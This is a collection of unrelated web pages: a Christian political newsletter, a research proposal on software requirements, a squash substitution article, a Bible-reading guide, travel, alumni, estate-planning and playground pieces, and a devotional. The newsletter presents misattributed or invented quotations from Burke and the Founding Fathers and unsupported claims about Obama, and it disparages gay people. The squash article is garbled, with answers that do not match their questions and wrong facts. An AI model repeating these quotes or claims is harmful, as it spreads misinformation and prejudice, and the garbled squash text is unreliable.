First, the background—and here we back our thoughts more than 250 years to the writings of Edmund Burke. An Irish-born statesman and political philosopher, Burke served for years in the British parliament of the 18th century when the new American nation was just being born.
Many of his quotes almost seem to merit being included in the wisdom-rich Old Testament book of Proverbsvfor example: "Those who do not learn from history are destined to repeat it," and "All that's necessary for the forces of evil to win is for good men to do nothing." Those, and others of similar logical thought, have taken their places alongside many equally profound ones from America's oft-quoted Founding Fathers.
Here are just two or three applicable quotes from our Founding Fathers; they represent the prevailing thought when our new nation was being planned and established. Consider these from our first three presidents: George Washington: “What students would learn in American schools above all is the religion of Jesus Christ,” (1779) and "It is the duty of all Nations to acknowledge the providence of Almighty God, to obey his will, to be grateful for his benefits, and humbly to implore his protection and favors." (1789)
John Adams: "The general principles on which the fathers achieved
independence were the general principles of Christianity. I will avow that I then believed, and now believe, that those general principles of Christianity are as eternal and immutable as the existence and attributes of God." (1775)
Thomas Jefferson: "God who gave us life gave us liberty. Can the liberties of a nation be secure when we have removed a conviction that these liberties are the gift of God? Indeed I tremble for my country when I reflect that God is just, that his justice cannot sleep forever." (1777)
More than 120 years later, Dr. Charles Galloway, in a series of lectures at (then) Emory College (now Emory University) in Georgia, reminded our nation of Burke's basic premise in these words: "A nation ashamed of its ancestry will be despised by its posterity." (1898) Flash forward another 100 years and we find our newly elected president, Barack Hussein Obama, on his first overseas trip, assuring those of the Muslim background in which he grew up that whatever America once was, it is no longer a Christian nation ... a theme he would play again and again, overseas and here at home.
In the current-day American judicial system, a new concept of "Three-strikes Laws" has entered the state court sentencing picture. "Three-strikes Laws" are statutes enacted by state governments to mandate the imposing of harsher sentences on repeated offenders. Already some form of these habitual offender laws have been enacted in 24 states. The application to the present mess (or messes) in which we find ourselves today can be expressed by this question: Does America still have a chance to escape God's judgment? Or do the"3 strikes" of the wanton murders of more than 50 million babies under the "politically correct" rationale of "woman's right to choose" ... the banning of prayer and any mention of God from our schools ... the legalizing of the homosexual concept of "same-sex marriage" described by God as an abomination, put America squarely under the imminent threat of His judgment? Or are we already long past due the expression of His justice of which Thomas Jefferson warned?
In the issue of NEV-2, less than a month ago, we concluded with the question, "Where is the voice of the church?" We offer that as our concluding thought for today.
Without going into extended detailed comment on any specific element of the national and international problems we face, we offer this excerpt from a current commentary by Michael Youssef, a competent Christian scholar whom
many observers (including myself, JB) consider to be the most articulate spokesperson for today's true Evangelical position: "You would have to be living on Mars to not realize that US foreign policy, especially our Middle East policy, is a disaster of global proportions. Prior to the 2008 presidential election, Mr. Obama assured Americans that he understood Islam, Muslims loved him, and he would bring peace in our time. Instead, we now watch carnage on our television—rivers of blood flowing from the streets of Baghdad, to Benghazi, Damascus, and now Cairo ... the Obama Administration has managed to make America despised, disrespected, and mistrusted across the region. They are either ignorant of the Islamic ideology of world domination, or they are too
arrogant to realize this problem defies their assumed 'wisdom.'" (From http://www.michaelyoussef.com/)
As a reminder, here's an expression of principle from a former U.S. President: "There is a rank due to the United States, among nations, which will be withheld, if not absolutely lost, by the reputation of weakness ... if we desire to secure peace,
it must be known that we are at all times ready for war." That "former president" was George Washington, and that was part of his Annual Message in 1793.
As usual, here is today's thought provoking news headline discovered in our research: "The Treasury Department and IRS announced that legally married same-sex couples will be treated as married couples for federal tax purposes." Included in the details of the ruling is the provision that this tax treatment will apply even if a couple lives in a state that does not recognize same-sex marriage so long as they were married in a state that does. The Obama administration acted quickly in issuing the new ruling only two months after the Supreme Court struck down DOMA (Defense of Marriage Act). It affects how same-sex married couples will be treated in terms of federal income taxes, federal estate and gift taxes, the tax breaks they get for employer-sponsored health insurance and other benefits. Score one more success for that active and effective LGBT minority ... and ask ourselves again,"Where is the voice of the church?"
And here's one more news headline we just couldn't ignore: "Obama Announces National Emergency, Then Hits Golf Course." No comment.
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Nonfunctional Requirements with Data Mining
The use of software has invaded our daily lives as it enable us to accomplish many tasks especially those which are associated in doing various business processes and in dealing with different business systems. It enables the use of knowledge on both computing and computers to be able to help solve various problems which confront everyday situations.
The often most encountered problems encountered in the field of software engineering deals with computers and computing although its underlying causes are not actually on such dimensions, and oftentimes go beyond such. To be able to distinguish a good software engineering program, the following criteria must be accordingly observed: there is quality in what we can recognize but we cannot define; there is fitness of purpose; there is an existence of conformance relative to specifications; it is tied to inherent product characteristics; and it can also be assumed to be dependent on the amount at which the customer is willing to pay (Pfleeger & Atlee, 2006). With the complexities and the complications confronting the businesses nowadays, the requirements for system engineering has been seen to offer a solution.
The requirements are the ones which form the basis for planning the development of a system and accepting it on a completion. They can form a basis for project planning, risk management, acceptance testing, trade-off, and change control (Hull et al, 2005). Requirements are meant to specify the specific sets of features which are essential to the software or program. They can either be functional or non-functional. Functional requirements can be defined as the specification of a function that the system must support while non-functional requirements refer to the constraints associated on the operation of the system that is not directly related to a function of the system (Bruegge & Duttoit, 2010).
In simpler terms, non-functional requirements take into consideration not what the software will do but how the software will do it. It is geared towards a much wider scope as it deals more with the requirements for process rather than just the tools which are necessary for functionality. The researcher agrees to the fact that non-functional requirements are indeed important because they are able to address various issues which are important in the achievement of quality. They are very vital for the success of the system and if they are not properly addressed, the result can be damaged and they can be inconsistent and poor quality, users and customers would end up being dissatisfied, and it can also affect time and cost which are associated with running the system.
One of the most recognized importance of non-functional requirements in software engineering is its capacity to define system properties and constraints.
Non-functional requirements can be classified as product requirements, organizational requirements, and external requirements. Product requirements refer to specifications which deal with how a particular product which is delivered should behave in a particular way such as those related to execution speed and reliability. Furthermore, organizational requirements refer to the consequences of the policies and procedures of the organization such as the variety of process standards which are sued as the requirements undergo implementation.
Lastly, external requirements are those which arise because of the various factors which are external to the development process and system. The main reason on why non-functional requirements arise because of the needs from the users, budget constraints, and existing policies of the organizations, there is a need for interoperability with other hardware or software systems, and because of the presence of external factors such as standards for safety (Puntambekar, n.d.). According to Chung et al (n.
d.), software engineering illustrates both pragmatic and systematic alternatives in which we are provided with the ability to to establish software systems of the highest standards and quality with regards to its usage and functionality. It calls for the need of software engineered systems to be modifiable, accurate, and secured which are some of the indications of a high performing software system. However, they are very subjective making them a hard subject for the purpose of evaluation.
The system typically interacts with each other making their functions affect the general system and therefore it also affects the entire system. Non-functional requirements are also being characterized for being hard to deal with as compared with functional requirements primarily because their impact is not generally localized to only a specific part of the system. Instead, it involves the entire system. The various changes with functional requirements in software will also inevitably affect the non-functional requirements. An effective software architecture evaluation is often the tool which is used to be able to deal with the numerous impacts of non-functional requirements (Aurum & Wohlin, 2005). Data mining can be considered as one of the important aspect of software system and of software engineering.
Data mining involves solving data problems which already exist in the software particularly referring to the process of discovering patterns in the data. The process should be either automatic or semi-automatic and it should be present in substantial quantities to be able to reap the maximum benefits out of these existing data (Witten & Frank, 2005). It can be aptly defined as “extracting or mining knowledge from large amounts of data” (Han & Kamber,2006).
It can be actually treated as the process of mining knowledge from existing data and not the other way around. The process of data mining could include the following procedures: data cleaning, data integration, data selection, data transformation, data mining, pattern evaluation, and knowledge presentation. Data mining activities are some of the practices executed by organizations, especially among software engineers, to be able to improve software quality and productivity. Data mining in the field of software engineering ahs recently emerged because it ahs been recognized among industries that such is needed in order to increase the abundance of data and they are also helpful in solving different types of real-world problems. Data mining algorithms are by being increasingly used in different software engineering tasks to be able to improve the productivity of the system or the software.
These algorithms can be able to help engineers to what code locations must be changed when another code location is changed. Data mining in the field of software engineering can be done in the series of the following procedures: collection or investigation of software engineering data; determining software engineering tasks; pre-processing of data; adapting or developing algorithm which will be executed for mining; and post processing or application of mining results (Xie 1t al, 2009). The non-functional requirements in data mining could come from the operating environment, the users, and the competitive products. In the operating environment, data can be affected by the system which is used in supporting the process.
It poses problem on how the software will work towards establishing dynamic data architecture. Furthermore, users are also behind the non-functional requirements for data mining in software engineering primarily because they control a big fraction of the entire program and they are the ones who completely understand the attributes of the system. Lastly, the existence of competitive alternatives affects the non-functional requirements because of their features which generally affect the quality of the system (Malan & Bredemeyer, n.d.)
In order to properly carry out the purpose of the research, that is to provide an insight on the various non-functional requirements which exist with regards to data mining, the study will attempt to answer various research questions which will form foundation of the research and which will form the backbone of the study. The research questions which the researcher will attempt to shed light to will include:
- What is the nature of non-functional requirements in software engineering and how they are different with functional requirements with regards to the extent of use and practice in the general industry?
- What are the examples of non-functional requirements in data mining?
- How are these non-functional requirements in data mining addressed by the software engineers of today? Are they addressed effectively?
- What does the future of requirements analysis in the field of software engineering hold for the non-functional requirements in software engineering?
To be able to successfully carry out the purpose of this research, the researcher will employ an exploratory research design wherein the primary objective of the study will be the provision of insights into and comprehension of the topic at hand.
The research will be qualitative in nature, which will take into account significant data and previous researches which are related to the topic rather than dealing with quantitative techniques of research. In carrying out a qualitative research, the researcher will make use of widely available secondary data and literature from credible sources such as books, scholastic articles, academic journals, credible websites, and other reputable sources which will provide the researcher with additional information regarding the non-functional requirements of data mining in the field of software engineering. Because of the very nature of the topic, first hand information will be quite hard to obtain that is why second hand information will be preferred for this study. Widely available references will provide significant researches which have been previously done and will be geared towards shedding light to the topic. It must be however understood that although the topic is limited to data mining in software engineering, where the researcher finds its niche against other works, resources and references regarding software engineering in general will also be sued in order to provide a general perspective of the topic at hand.
To successfully finish the paper and generate significant findings, there will be a pre-determined time-frame which will include all the activities which will be related to the completion of this research. In the first weeks of conducting the study, the researcher will focus into redefining or reshaping the fundamentals of the research given that some modifications can be eyed.
However, since the topic seems to be good enough as an area of study in the field of software engineering, the succeeding weeks of the research will be focused towards extensive research which shall form the big part of the entire paper. Since the researcher decided to make use of secondary sources widely available, much of the time will be spent browsing through books and other reputable sources to gain more idea regarding the topic. Once the information needed has already been enough and sustainable to support the researcher’s claim and to give answers to the research questions earlier identified, writing the general research based on a previously outlined structure will commence which will be followed with subsequent proof reading and revisions which will ensure that the work is fully furnished before finally submitting the work and the final presentation of the research.
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Butternut squash has become a favorite fall vegetable because of its sweet flavor and versatility.
But sometimes, you want something else to eat instead.
What should you substitute it with?
Butternut squash is a winter squash that grows from a large vine.
The fruit is orange or yellow and often resembles a pumpkin.
It contains high amounts of vitamin C, fiber, potassium, and folate.
You can easily replace it with other vegetables such as carrots, potatoes, parsnips, turnip, rutabaga, celery root, parsley root, and even zucchini
Butternut Squash Substitute
1. Pumpkin – This squash is very similar to butternut squash. It is used in many recipes and tastes great.
2. Sweet Potato – This is another substitute for butternut squash. Both sweet potato and butternut squash taste delicious.
1) Acorn squash
Acorn squash is a type of winter squash. It looks like a pumpkin and grows in clusters. It is available year round.
2) Buttercup squash
1 Acorn squash
This squash is very popular because it is easy to peel and slice. It is delicious cooked plain or stuffed with cheese, bacon, and other ingredients.
Cucumbers are great for salads and sandwiches. They are low in calories and fat.
Zucchinis are good for snacking and making zucchini bread. They are low in fat and calories.
3) Hubbard squash
Hubbard Squash is a type of winter squash. This squash is usually eaten raw or roasted. It is a good source of vitamin A, B6, C, E, iron, magnesium, phosphorus, potassium, zinc, copper, manganese, niacin, thiamine, riboflavin, folate, pantothenic acid, biotin, and fiber.
4 Butternut squash
Butternut squash is a type of winter squashes. This squash is usually cooked in soups, stews, casseroles, pies, and baked goods. It is a good sources of beta carotene, vitamin A, vitamin C, calcium, dietary fiber, folic acid, iron, magnesium, phosphorous, potassium, protein, selenium, and zinc.
4) Delicata squash
Delicata squash is a type of summer squash. This squash is normally eaten raw or roasted. Delicata squash is a good source of beta carotene and vitamin A.
5 Acorn squash
Acorn squash is a type of autumn squash. This squash is generally eaten raw or roasted. Acorn squash is a good source for vitamin A, vitamin C and dietary fiber.
5) Sweet potatoes
Sweet potatoes are a root vegetable that originated from Central America. It is now grown worldwide. Sweet potato is a good source of potassium, magnesium, iron, zinc, copper, manganese, phosphorus, thiamin, riboflavin, niacin, pantothenic acid, folate, biotin, vitamin B6, vitamin B12, vitamin C, vitamin K, vitamin E, folic acid, choline, lutein, zeaxanthin, lycopene, phytosterols, and antioxidants.
Can I use sweet potatoes instead of butternut squash?
Yes, pumpkin can be used instead of butternut squash. However, if you are using canned pumpkin puree, you will need to reduce the amount of sugar added to the recipe. Pumpkin contains about half the calories of butternut squash, but only 10% of the fiber. It also has a slightly sweeter taste.
Can sweet potatoes be substituted for butternut squash?
Squash is a great source of vitamin A, B6, C, E, K, calcium, iron, magnesium, phosphorus, potassium, zinc, copper, manganese, selenium, and fiber. It is low in calories and fat. Squash is available year round and can be found in many different varieties. Most people know about butternut squash, acorn squash, pumpkin, spaghetti squash, and zucchini. But did you know that there are other types of squash such as yellow crookneck squash, kabocha squash, hubbard squash, delicata squash, and buttercup squash? These are just a few examples of what you can use in place of squash.
Can yellow squash be substituted for butternut squash?
Squash and sweet potatoes are two different vegetables but they are very similar in taste and texture. Both are starchy root vegetables that are rich in vitamin A, B6, C, E, K, calcium, iron, magnesium, phosphorus, potassium, zinc, copper, manganese, folate, fiber, protein, and dietary carbohydrates.
What can be substituted for butternut squash?
Squash is a great vegetable to eat because it contains lots of nutrients. It is low in calories and fat, but high in fiber and potassium. Squash is good for your heart and helps lower cholesterol levels. It is also very versatile and can be used in many different ways. One way to enjoy squash is to bake it. Baking squash gives it a sweet flavor and makes it easy to cut into cubes. To bake squash, preheat oven to 350 degrees Fahrenheit. Cut off the top and bottom of the squash, leaving about 1 inch of the stem attached. Place the squash on a baking sheet and bake for 30 minutes. Remove from the oven and let cool completely. Once cooled, remove the skin and scoop out the seeds. For another way to enjoy squash, try roasting it. Roasting squash brings out its natural sweetness. To roast squash, place it in a shallow pan and drizzle with olive oil. Bake for 45 minutes to an hour until tender. Serve warm or cold.
What can I use instead of squash?
Butternut squash is a delicious winter vegetable that is available year round. It is easy to substitute for other vegetables in recipes. Butternut squash is rich in fiber, vitamin A, C, E, B6, potassium, magnesium, iron, zinc, copper, manganese, phosphorus, folate, thiamin, riboflavin, niacin, pantothenic acid, biotin, and dietary fiber.
Are squash and sweet potato the same thing?
Yes, butternut squash is sweeter and has a creamier texture than yellow squash. But if you prefer the taste of yellow squash, feel free to substitute it for butternut squash.
What can I substitute for squash?
Yes, you can substitute sweet potatoes for butternut squash. Sweet potato is sweeter than butternut squash. But if you want to get the same texture, you can bake them together.
Can pumpkin be substituted for butternut squash?
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HOW TO READ AND REFERNECE THE BIBLE
Don't be confused or feel like you can't attend a Bible study because you are a beginner. It sounds simple enough: to read a book you open it up and read left to right. The Holy Bible is a unique book, though; in fact God's word is living, so therefore the scriptures apply as much today as they did thousands of years ago. The bible is organized in a unique way to make referencing verses in the future easy. The first step is opening your Bible, so please do so and follow along. In just a short time, you will feel confident and will understand how the Bible is organized and how to find what you want to study.
READING & REFERENCING MADE EASY
Open your Bible to the front. Within the first few pages you should find the Table of Contents. The Bible is divided into two main parts, the Old Testament and the New Testament. The word Testament comes from the Latin and means "covenant" or a contract agreement between two or more people. The Old Testament is the "Old Agreement" and the New Testament is the "New Agreement" between God and His people. Within each Testament you will notice that there are many books listed. These books contain the holy scriptures, God's word. The Old Testament and New Testament are equally important and will help you discover the very nature of God and man. The New Testament offers us a new hope, since we all have sinned and fallen short of the Glory of God. "For God so loved the world that he gave his one and only Son; that whoever believes in him shall not perish but have eternal life." John 3:16
How do you find John 3:16 in your Bible?
Start with the Table of Contents. Look under the New Testament section. Scrolling down the page you will see Matthew, Mark, Luke, John, and additional books.
Turn to the page number listed next to "John." You will note on that page a large number "1" at the top of the page. The large number "1" is the Chapter.
Now turn the page and look for Chapter "3", you are looking for the big "3." As you begin to read John Chapter 3, you will notice smaller numbers at the head of the verses. You want to scroll down to the small number "16" that is the verse number.
You will read the following "16 For God so loved the world that he gave his one and only Son, that whoever believes in him shall not perish but have eternal life. 17 For God did not send his Son into the world to condemn the world, but to save the world through him."
Did you see the extra verse listed here? It's verse 17, denoted by a small number 17.
You have now located and read John (3:16), or another way to say it is, "The book of John, Chapter 3, verse 16. John (3:16)
You did it!
Congratulations on locating and reading this bible verse. As you read the Bible every day, keep a notepad and jot down Book, Chapter, and Verse of anything that catches your eye and touches your heart. These are the verses that God is using to speak into your life right where you are. Jesus Christ always meets us just where we are in life even though we are imperfect. Seeking God is the first step to discovering that God has been right there all the time knocking at the door of your heart. It is your free will to open up the door and let him in. He loves us that much, he gives us the right to make our own decisions. Matthew 6:33a tells us this: "But seek first his kingdom and his righteousness."
Go to the Table of Contents and find the New Testiment Book of Revelation, which is the last book fo the Bible. Revelation written by John who Jesus loved so very much. John's love for Jesus was so very special that Jesus appreared to John later in John's life, after Jesus had ascended into heaven. The book of Revelation foretells the future, and everyone who reads it is blessed. Here are the verses Revelation 3:20-22: "Here I am! I stand at the door and knock. If anyone hears my voice and opens the door, I will come in and eat with that person, and they with me. 21 To him who overcomes, I will give the right to sit with me on my throne, Just as I overcame and sat with my Father on His throne. 22 He who has an ear, let him hear what the Spirit says to the Churches." There are many versions of The Bible and the Holy Spirit will guide you on which one is best for you. The most sophisticated version is the King James Version and a highly recommended version is the NIV meaning "New International Version." Many versions highlight Jesus' words in red. Enjoy and get started with the greatest book ever written, In the Hebrew language, The Holy Bible means "The Holy Book." | <urn:uuid:37765f3d-2a18-45aa-ac27-3d2566e28213> | CC-MAIN-2022-33 | https://www.thewayministriesonline.org/about-5 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573744.90/warc/CC-MAIN-20220819161440-20220819191440-00465.warc.gz | en | 0.962292 | 1,054 | 3.046875 | 3 |
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Earn, Forth, Teith, Dochart, Tay, Tummel, Braan and Ericht. That’s just a sample of the rivers in this area; and then there are all the lochs in The Trossachs plus Lochs Earn, Tay, Rannoch Tummel and Lochore Meadows Country Park.
The Heart 200 route is well-blessed with more than its fair share of rivers and lochs, so whether you are a beginner looking for a short introductory session on flat water or an experienced white-water paddler, there is plenty of water along this route to meet your requirements.
The two main guidebooks are the Scottish Canoe Association (SCA) Scottish Canoe Touring (for calmer waters) and SCA Scottish White Water. For online information visit the UK Rivers Guidebook.
Various establishments along the route can provide instruction or equipment hire.
Wee Adventures, near Aberfeldy.
Willowgate Activity Centre, near Perth.
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A Board Certified Pediatrician dedicated to caring for children and their families, Zaneb Beams ’90 directs Dr. Beams Medical Home, a primary care medical practice in Howard County, Maryland. In her practice, Zaneb helps her patients start life healthy from birth, continuing to care for and support young people through age 21.
In the fall 2017 issue of Cross Currents, Zaneb writes: “The Park School was the first educational environment where my family’s teaching of responsibility to the human community was systematically reflected. My home culture had always focused on service to others — directly, through patient care, as medical doctors — to less fortunate members of our religious community, and to those entrenched in deep poverty in my parents’ home country, Pakistan.
“Educators at The Park School encouraged us to read texts and learn history with an ethical filter. They asked questions like, ‘Do the mass of men lead lives of quiet desperation?’ (a query on Henry David Thoreau’s assertion in Walden). This focus on the human community, and our place in it as teens, dovetailed with my own sense of responsibility to communities outside of home and school. Additionally, the Park School community consisted of peers who were similarly focused on community, service, and inquiry.”
After graduating from Park, Zaneb earned her undergraduate degree at Swarthmore College and went on to attend Rush Medical College. She proceeded into her medical career with a focus on serving communities — narrowly through direct patient care, and more broadly through legislative advocacy focused on increasing access to health care for all Americans.
In 2009 when President Obama and his team began working to expand access to quality, affordable health care for all Americans, Zaneb connected with a group called Doctors For America — a group of over 15,000 doctors focused on the goal of affordable health care. Through advocacy from her home in Howard County, to the Senate and White House, the group helped pass the Affordable Care Act (ACA), increasing and improving access to health insurance for millions of Americans. Zaneb wrote editorials in The Baltimore Sun, called into The Kojo Nnamdi Show on NPR, appeared on MSNBC and PBS to show physician support for health care reform, and advised President Obama’s team.
Zaneb also ran for office in Howard County to help protect county level universal health care, and worked with ex-Health Commissioner Peter Beilenson in a health co-op made possible by the ACA. As the ACA became law, she shifted her focus locally, continuing to work closely with the Howard County school system and the Horizon Foundation to improve access to healthy food in our schools, caring for patients at her local homeless shelter, and working to improve our schools’ health and nutrition policies for children.
She notes in Cross Currents that her Park School education is not incidental in all of this work: “At Park, I read Salinger and Vonnegut and Sartre, who all reflected on the insanity of war. I read Perry Miller and Hannah Arendt and understood how our nation’s identity was forged. With The Courage of their Convictions I learned how legal precedent protects or erodes healthy societies. Through participation in the Amnesty International club, the literary magazine, and other activities, I began to understand leadership. After hallway conversations with John Roemer [history] and my peers during free periods, I clarified my instinct that all living things deserve empathy and care. These exposures, unique to Park’s learning environment, forged the servant, leader, physician, and neighbor I am still becoming.” | <urn:uuid:d4c1e52c-413a-4c42-b348-2d868d46721f> | CC-MAIN-2022-33 | https://parkschool.net/alumni-stories/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570793.14/warc/CC-MAIN-20220808092125-20220808122125-00665.warc.gz | en | 0.965633 | 747 | 1.5625 | 2 |
If your child is turning 18, you may find yourself wondering where the time went. Their estate planning needs are probably the last thing on your mind (or theirs) as they prepare to enter adulthood. In fact, if you’re like most parents, you’re probably mentally preparing yourself to drop them off at the college of their choice and trying to enjoy the last bit of time you have with them before you’re an empty-nester. Or if college isn’t part of your child’s plan, you may be helping them settle into their first full-time job or apartment hunt for their first place.
For most parents (and their 18 year-old children), estate planning isn’t something they are thinking about. You may think because your child doesn’t own anything of value yet and may not have children of their own, why would they need an estate plan? The answer is quite simple. Once your child turns 18, they are no longer a minor in the eyes of the law--they are now adults. Becoming an adult comes with certain privacy rights and independence under the law.
For example, if your child is away at school or on the job and falls ill, you may assume you would be contacted and able to direct their care, as you always have done. After all, to you they are still your little girl or little boy. Then you may be surprised to find out that may not be the case. An 18 year-old has rights under HIPAA (Health Insurance Portability and Accountability Act) and medical professionals will require a release to be signed by your child before sharing their health care information or records with you. The same rule applies to mental health records, which may be particularly difficult to access without your child’s permission.
In the event your child is incapacitated, even temporarily, he or she will be unable to consent to you accessing their vital health records or authorize you to make decisions on their behalf. In the absence of such an authorization or release, you’ll likely find you are unable to act on their behalf and that court intervention is required for you to do so. In absence of the estate planning documents described below, you would need to file a petition with a court to be named your child’s legal guardian. This process can be time consuming, emotionally draining and expensive. For these reasons, it is a best practice to have your child put their wishes into written form as soon as they reach the age of majority (which is 18 years old in most states).
There are two critical documents that any adult over the age of 18 should have:
- Medical Power of Attorney/Advance Directive with a HIPAA provision – This document appoints an “agent” or “agents” to make health care decisions, including end-of-life care decisions on your child’s behalf. It also offers direction as to the decisions they would like their agent to make. This document should include a HIPAA release authorizing the agent to access important health records and may also incorporate provisions regarding mental health care.
- General Durable Power of Attorney – This document is similar to the Health Care Power of Attorney in that it appoints an “agent” or “agents” to make decisions on behalf of your child. However, this document relates to your child’s financial assets. This may include granting the agent(s) access to bank accounts, scholarship funds from school, rental agreements or other similar accounts.
The Durable Power of Attorney can be a) springing or b) non-springing. A “springing” power of attorney is one in which the agent(s) have no authority to act unless and until the principal (your child) is incapacitated. A “non-springing” power of attorney is one in which the agents’ authority to act is immediate upon execution of the document. Both versions have benefits. A springing document may be advisable in situations where parents still intend to handle many financial matters on behalf of their adult child.
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Children’s Playgrounds: Ideas and Implementations For The Home
In this article, you’ll be provided with top ideas on how to come up with children’s playgrounds even at home. Plus, you’ll also learn its benefits. So, continue reading and find out more about what to consider when doing this project!
With kid’s great love for playing, it could be a challenge for most parents to bring them to indoor children playground in public parks or malls. Aside from the hassle of getting them over there, it might also be both money and time-consuming. Also, you cannot be sure that your toddlers are safe and the place is clean enough to play.
So, to control the situation and arrange the place for them to have fun, why don’t you try making your own children’s playgrounds at home. Well, you can set it inside your house, given that you have enough space, or take advantage of the backyard for a DIY kids playground for children.
Ideas for Children’s Playgrounds
Turning the backyard into a kid’s playground is a cool task both for parents and the little ones. Worry not because there is a variety of ideas that you could try. Some of those are as follow:
The ever-popular swing for the kids! Do you know you can make one for your children to enjoy? You only need to get strip of 2 x 6 scrap wood for the seat and a sturdy rope. Simply paint it bold colors, making it look a lot more attractive. Drill some holes into the wood, to thread the rope, and tie it off to a sturdy branch. Indeed, an easy weekend project!
Or perhaps, you can recycle the old tires to make a fun swing for the kids. You would only need a chain and something to hang it on, like a tree. But make sure that it is safe and secure before allowing the kids to play there.
If children want to sit down and relax for a while, a hanging chair could be a great option. Hang them in the backyard, and, in fact, the whole family could unwind and enjoy the moment.
Too annoyed that your kids draw on the house’s wall? Well, this chalkboard is a great solution. Determine where you want them to use it. You can simply install chalkboard walls on the fence in your backyard playground.
Kids love building tents under the table and hide there. So, they would definitely love the idea of having a real tent. It would be like a long-awaited adventure for them.
Usually, you can enjoy this activity during vacations. Kids would love to have it in the backyard. You just need to make sure that it is safe. Using high-quality equipment, such as the best impact driver, must be considered when installing one.
Kids really love playing in the sand, and since you cannot lie on the beach all the time, why not bring home a piece of it. Indeed, a sandbox might fit pleasantly in the backyard, and you could even have a small pool.
You would need a fence panel and any other object that can make a sound if you hit it. You could use old pans and pots, wooden spoons, and some other things found in the house or garage. Or you can even let the kids look for them.
This is definitely the most popular project if you want some ideas for children’s playgrounds in the backyard. It is definitely considered a must-have place where kids can play together and have fun. If you already have one, just give it a quick makeover; if not — better start building it for your kid.
You can definitely set a Twister game in the backyard with just a bit of colored spray paint and also a stencil. It can be as big as you want. Just paint the grass, and the color would probably be made off as soon as it rains, but it would be a fun idea for a summer party.
This one is also a must-have project, not only for children. Adults could also get a daily dose of exercise, and you’ll have fun with your kids too. It is advised to have a mattress on the ground at first.
One of the easiest projects to have on children’s playgrounds is to make water balloons. Just have a package of balloons and fill them with water slowly. Then, securely tie the balloon with a string. Kids can throw it to each other until it explodes. Or you can simply hang it from a tree and make it as a piñata.
If kids play all day in the children's playground set, it could get hot out there, so it would be a fun idea to play with water. You can make a sprinkler using a plastic bottle. Then, connect it to your garden hose and use tape to nicely secure it. After that, poke holes, and kids would really enjoy this activity.
In this project, you just need to have a bunch of containers or bottles that you attach to the fence. Then, simply create a circuit for water to follow and be creative.
Fun With Bubbles
You used to make soap bubbles too. So, let your kids have the same excitement! Use a small plastic pool, a hula hoop, and a lot of bubble solution to make huge bubbles.
Also, you can set up a movie area in the yard. Get pillows, picnic blankets, and other things that could make the experience more comfortable. Using a projector, you can let your kids enjoy a movie, and the whole family can join in!
Indeed, nothing could beat a hammock in the children’s playgrounds. Kids could relax and also take a nap after a tiring day of playing.
Storage for Toys
Of course, there would be a lot of toys outside. So, they need to be stored separately so that you’ll not bring the dirt inside the house. Well, you can have a secret storage area inside the bed or the bench on the deck or in the yard. Teach kids how to store their belongings properly. Also, you can keep some children playground equipment here too.
Benefits of Playground for Kids
Of course, you won’t sacrifice time and effort to turn your yard to a playground if it doesn’t offer any benefit for kids. Well, if they have their own place to spend time, it can bring you many advantages:
- The playground could provide the perfect off-screen entertainment, which means there is the chance to limit or stop your kids from staring into gadgets.
- Playing outside is also important for healthy physical development. It improves kids’ balancing and flexibility skills and the overall motor skills too.
- at the same time, it could help to boost self-confidence.
- children’s playgrounds, even in your own backyard, can allow kids to make friends and learn significant lessons in terms of interacting with people.
And there are more benefits that your toddlers can gain out of playing in a playground. So, don’t hesitate to turn your backyard into a cool and nice place to spend time!
Indeed, at the end of the day, you will surely love the idea of having your own children’s playground, even at home. You won’t be able to feel at ease knowing that your kids are playing somewhere nearby; no one will benefit from this — neither you nor the children!
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Additional Real Estate Resources
Anita Clark has written an informative article about how you can add value to your home with your backyard project and landscaping.
John Cunningham shares with readers about how to make the best of your backyard and increase its beauty.
Bill Gassett tells readers what to do when it comes to selling a home with children.
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Daily Verses: Galatians 5:16-26.
Key Verse: Proverbs 16:32:”
“Better a patient person than a warrior, one with self-control than one who takes a city.”
Self-Control, which is equivalent to patient, is one of the fruits
of the Spirit according to Galatians 5:22. This characteristic has to always be
found in God’s children. In our life, we have probably made a bad decision when
we acted before God gives us the answer or we become impatient with others. However,
we have to know that patient will shield someone from making a bad decision.
Imagine if God is not patient with the sinners. We might all have perished. If
a person says that they have love but are not patient, that love will be
tasteless because his/her impatient will cover the love. Love needs patient
because if we want to someone whom we love or a situation to be changed, we
need to be willing to wait. Fights can be avoided if people have self-control
and patient towards others.
Patience can transform evil into good.
I will wait patiently on God’s answer for my prayers. I will not act before God gives me the answer.
Proverbs 14:26: “He who is slow to wrath has great understanding, but he who is impulsive exalts folly.
God will help me to be patient in dealing with people who are disturbing the peace in my life.
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When I was preparing the new Second Edition of Making is Connecting, I got rid of some older stuff to make way for newer stuff. (The new book includes – as it says on the back cover – ‘many new sections, as well as three new chapters on creative processes, do-it-yourself strategies, and platforms for creativity’). That’s sensible to do, but it’s sad to say goodbye to perfectly good material. But that’s where the internet comes in, giving me a place to park things that otherwise don’t have a place in the physical world any more.
So! At the start of the Conclusion chapter in the Second Edition, there’s a footnote that says this:
In the first edition of this book, there was a section in this Conclusion where I took the opportunity to describe some ‘imagined futures’, proposing implications of the book’s arguments in the areas of media, education, work, and politics and the environment. I think these suggestions can have a tendency to seem either banal or fantastical, or both, and you can imagine the implications of this book perfectly well for yourself. So I’ve put that section online (at makingisconnecting.org), which means it’s still perfectly accessible, but not taking up space here.
And here it is. If you have come from the book, looking for this online, well done – I hope it wasn’t too hard to find.
SOME IMAGINED FUTURES
In this section we will consider the implications of ‘making is connecting’ in different contexts. The argument of this book, and the five ‘key principles’ listed above in particular, have pretty straightforward implications for the kinds of services and experiences that it would be valuable to see developed in the future. Compressed and summarised even further, the generic points are:
→ People should be given opportunities to express their creativity through tools which do not seek to shape or determine the outcomes; and which enable people to express their unique presence in the work; and which mean that their contribution is distinct and recognisable.
→ People should be able to share the fruits of their creativity simply, and without unreasonable restrictions or gatekeepers.
→ Communication, exchange and collaboration should be enabled and encouraged, to foster engaged communities of interested people who can help and encourage each other. Collaboration should be at the level which participants in a project are most comfortable with, which could in tiny bits, or substantial chunks [i].
We could work out the implications of these points in any number of areas. Here I’ve picked four: in media, in education, in work, and in politics and the environment. For each one I will briefly outline a vision of the future. I’m not going for far-fetched futuristic scenarios here – these are modest developments of the world as we know it. And these are not manifestos, exactly, but rather illustrations of what this approach might mean in practice.
‘Making is connecting’ future scenario – media
